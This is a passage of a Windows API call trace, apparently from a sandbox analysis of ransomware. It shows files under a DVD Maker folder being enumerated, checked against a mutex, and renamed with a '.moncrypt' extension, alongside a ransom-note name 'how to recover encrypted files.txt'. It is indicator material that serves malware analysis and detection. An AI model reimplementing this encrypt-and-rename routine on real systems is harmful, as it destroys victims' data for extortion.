[0058.493] GlobalUnlock (hMem=0x44000c) returned 0 [0058.494] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.494] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.494] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.494] GlobalUnlock (hMem=0x44000c) returned 0 [0058.494] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.494] GlobalUnlock (hMem=0x440004) returned 0 [0058.494] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.494] CharLowerBuffW (in: lpsz="mainscroll.png", cchLength=0xe | out: lpsz="mainscroll.png") returned 0xe [0058.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.494] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.pngy", lpUsedDefaultChar=0x0) returned 74 [0058.495] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\SpecialOccasion\\mainscroll.pngy", lpUsedDefaultChar=0x0) returned 4 [0058.495] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 0x54e280 [0058.495] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.495] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.495] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.495] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png", dwFileAttributes=0x20) returned 0 [0058.496] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.496] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png.moncrypt")) returned 0 [0058.496] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.496] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.496] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.497] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.497] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.497] GlobalUnlock (hMem=0x440004) returned 0 [0058.497] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.497] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.497] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.497] GlobalUnlock (hMem=0x440004) returned 0 [0058.497] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.497] GlobalUnlock (hMem=0x44000c) returned 0 [0058.497] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.497] CharLowerBuffW (in: lpsz="NavigationLeft_ButtonGraphic.png", cchLength=0x20 | out: lpsz="navigationleft_buttongraphic.png") returned 0x20 [0058.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png", cchWideChar=92, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.pnge", lpUsedDefaultChar=0x0) returned 92 [0058.498] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.pnge", lpUsedDefaultChar=0x0) returned 4 [0058.499] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.499] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.499] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.499] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.499] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.499] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png.moncrypt")) returned 0 [0058.500] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.500] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.500] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.500] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.500] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.500] GlobalUnlock (hMem=0x44000c) returned 0 [0058.500] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.500] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.500] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.500] GlobalUnlock (hMem=0x44000c) returned 0 [0058.500] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.500] GlobalUnlock (hMem=0x440004) returned 0 [0058.500] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.500] CharLowerBuffW (in: lpsz="NavigationLeft_SelectionSubpicture.png", cchLength=0x26 | out: lpsz="navigationleft_selectionsubpicture.png") returned 0x26 [0058.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, 